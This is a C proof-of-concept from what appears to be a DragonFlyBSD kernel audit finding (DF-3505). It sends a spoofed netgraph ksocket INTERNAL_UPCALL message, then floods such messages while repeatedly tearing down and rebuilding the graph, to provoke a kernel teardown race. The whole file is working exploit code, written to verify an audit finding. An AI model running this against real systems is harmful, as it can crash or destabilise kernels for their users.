⬢ DragonFlyBSD Kernel Audit
DF-3505 / ksflood.c
← back to finding ↓ download raw
/* ksflood.c -- DF-3505 verification: foreign-sender NGM_KSOCKET_INTERNAL_UPCALL.
 * Phase 1: prove the spoofed upcall command is ACCEPTED (rc 0) from the
 * hook-owner control socket (out-of-band invocation; v1 has no origin check).
 * Phase 2: race hammer -- thread A floods INTERNAL_UPCALL; main loop
 * repeatedly rebuilds the ksocket graph and shuts it down (NGM_SHUTDOWN),
 * widening the DF-0511 so_upcall/soclose teardown race.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stddef.h>
#include <pthread.h>
#include <errno.h>
#include <err.h>

static int s;
static volatile int flooding = 0;
static volatile long flood_count = 0;

static int
mkmsg(char *mbuf, u_int32_t cookie, u_int32_t cmd, const void *data, int dlen)
{
	struct ng_mesg *msg = (struct ng_mesg *)mbuf;
	memset(msg, 0, sizeof(*msg) + dlen);
	msg->header.version = NG_VERSION;
	msg->header.typecookie = cookie;
	msg->header.cmd = cmd;
	msg->header.arglen = dlen;
	if (dlen) memcpy(msg->data, data, dlen);
	return (sizeof(struct ng_msghdr) + dlen);
}

static void
send_to_hook(int sock, const char *hook, const char *mbuf, int total)
{
	struct sockaddr_ng dst;
	struct iovec iov[2];
	struct msghdr mhdr;
	struct ng_mesg *msg = (struct ng_mesg *)mbuf;
	memset(&dst, 0, sizeof(dst));
	dst.sg_len = offsetof(struct sockaddr_ng, sg_data) + strlen(hook) + 1;
	dst.sg_family = AF_NETGRAPH;
	strcpy(dst.sg_data, hook);
	iov[0].iov_base = (caddr_t)&msg->header;
	iov[0].iov_len = sizeof(struct ng_msghdr);
	iov[1].iov_base = (caddr_t)msg->data;
	iov[1].iov_len = msg->header.arglen;
	memset(&mhdr, 0, sizeof(mhdr));
	mhdr.msg_name = (caddr_t)&dst;
	mhdr.msg_namelen = dst.sg_len;
	mhdr.msg_iov = iov;
	mhdr.msg_iovlen = 2;
	if (sendmsg(sock, &mhdr, 0) < 0)
		warn("sendmsg to %s", hook);
}

static void *
flood_thread(void *arg)
{
	static char mbuf[256];
	struct sockaddr_ng dst;
	int n = mkmsg(mbuf, 942710670 /* INTERNAL_COOKIE */, 1 /* UPCALL */, NULL, 0);
	memset(&dst, 0, sizeof(dst));
	dst.sg_len = offsetof(struct sockaddr_ng, sg_data) + strlen("k0") + 1;
	dst.sg_family = AF_NETGRAPH;
	strcpy(dst.sg_data, "k0");
	while (flooding) {
		struct ng_mesg *msg = (struct ng_mesg *)mbuf;
		struct iovec iov[2] = {
			{ (caddr_t)&msg->header, sizeof(struct ng_msghdr) },
			{ (caddr_t)msg->data, 0 }
		};
		struct msghdr mhdr;
		memset(&mhdr, 0, sizeof(mhdr));
		mhdr.msg_name = (caddr_t)&dst;
		mhdr.msg_namelen = dst.sg_len;
		mhdr.msg_iov = iov;
		mhdr.msg_iovlen = 2;
		if (sendmsg(s, &mhdr, 0) < 0) {
			if (errno == EPIPE || errno == ENOTCONN || errno == ESRCH)
				continue;	/* graph being rebuilt */
		} else {
			flood_count++;
		}
	}
	return (NULL);
}

int main(int argc, char **argv)
{
	static char mbuf[512];
	int iters = argc > 1 ? atoi(argv[1]) : 200;
	struct ngm_mkpeer mk;
	struct sockaddr_in sin;
	pthread_t th;
	int i, r;

	/* Phase 1: build graph, bind, and send ONE spoofed upcall */
	s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	{
		struct timeval tv = {0, 100000};
		setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
	}
	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "ksocket");
	strcpy(mk.ourhook, "k0");
	strcpy(mk.peerhook, "inet/dgram/udp");
	r = mkmsg(mbuf, 851672668, 2 /* MKPEER */, &mk, sizeof(mk));
	send_to_hook(s, "", mbuf, r);	/* to own node: empty hook? use "" */
	{
		struct timeval tv = {0, 100000};
		setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
		read(s, mbuf, sizeof(mbuf));
	}
	/* name the peer */
	{
		struct ngm_name nm;
		memset(&nm, 0, sizeof(nm));
		strcpy(nm.name, "ks0");
		r = mkmsg(mbuf, 851672668, 4, &nm, sizeof(nm));
		send_to_hook(s, "k0", mbuf, r);
		read(s, mbuf, sizeof(mbuf));
	}
	/* bind */
	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(7777);
	r = mkmsg(mbuf, 942710669, 1 /* BIND */, &sin, sizeof(sin));
	send_to_hook(s, "k0", mbuf, r);
	{
		ssize_t rr = read(s, mbuf, sizeof(mbuf));
		printf("bind resp %zd (%s)\n", rr, rr < 0 ? strerror(errno) : "ok");
	}
	/* THE SPOOF: INTERNAL_UPCALL from the control-plane socket */
	r = mkmsg(mbuf, 942710670, 1, NULL, 0);
	send_to_hook(s, "k0", mbuf, r);
	{
		ssize_t rr = read(s, mbuf, sizeof(mbuf));
		if (rr < 0)
			printf("SPOOF-UPCALL: no response (%s)\n", strerror(errno));
		else {
			struct ng_mesg *rm = (struct ng_mesg *)mbuf;
			printf("SPOOF-UPCALL: rc response flags=%x (ACCEPTED, no error path)\n",
			    rm->header.flags);
		}
	}
	fflush(stdout);

	/* Phase 2: hammer */
	flooding = 1;
	pthread_create(&th, NULL, flood_thread, NULL);
	for (i = 0; i < iters; i++) {
		/* shutdown via generic NGM_SHUTDOWN through our hook */
		r = mkmsg(mbuf, 851672668, 1 /* SHUTDOWN */, NULL, 0);
		send_to_hook(s, "k0", mbuf, r);
		usleep(2000);
		read(s, mbuf, sizeof(mbuf));	/* NB: SO_RCVTIMEO 100ms */
		/* rebuild: fresh mkpeer (k0 hook died with the node) */
		memset(&mk, 0, sizeof(mk));
		strcpy(mk.type, "ksocket");
		strcpy(mk.ourhook, "k0");
		strcpy(mk.peerhook, "inet/dgram/udp");
		r = mkmsg(mbuf, 851672668, 2, &mk, sizeof(mk));
		send_to_hook(s, "", mbuf, r);
		usleep(1000);
		read(s, mbuf, sizeof(mbuf));
		r = mkmsg(mbuf, 851672668, 4, (struct ngm_name[]){{.name="ks0"}}, sizeof(struct ngm_name));
		send_to_hook(s, "k0", mbuf, r);
		read(s, mbuf, sizeof(mbuf));
	}
	flooding = 0;
	pthread_join(th, NULL);
	printf("hammer done: %ld upcall sends over %d shutdown cycles; no panic\n",
	    flood_count, iters);
	return (0);
}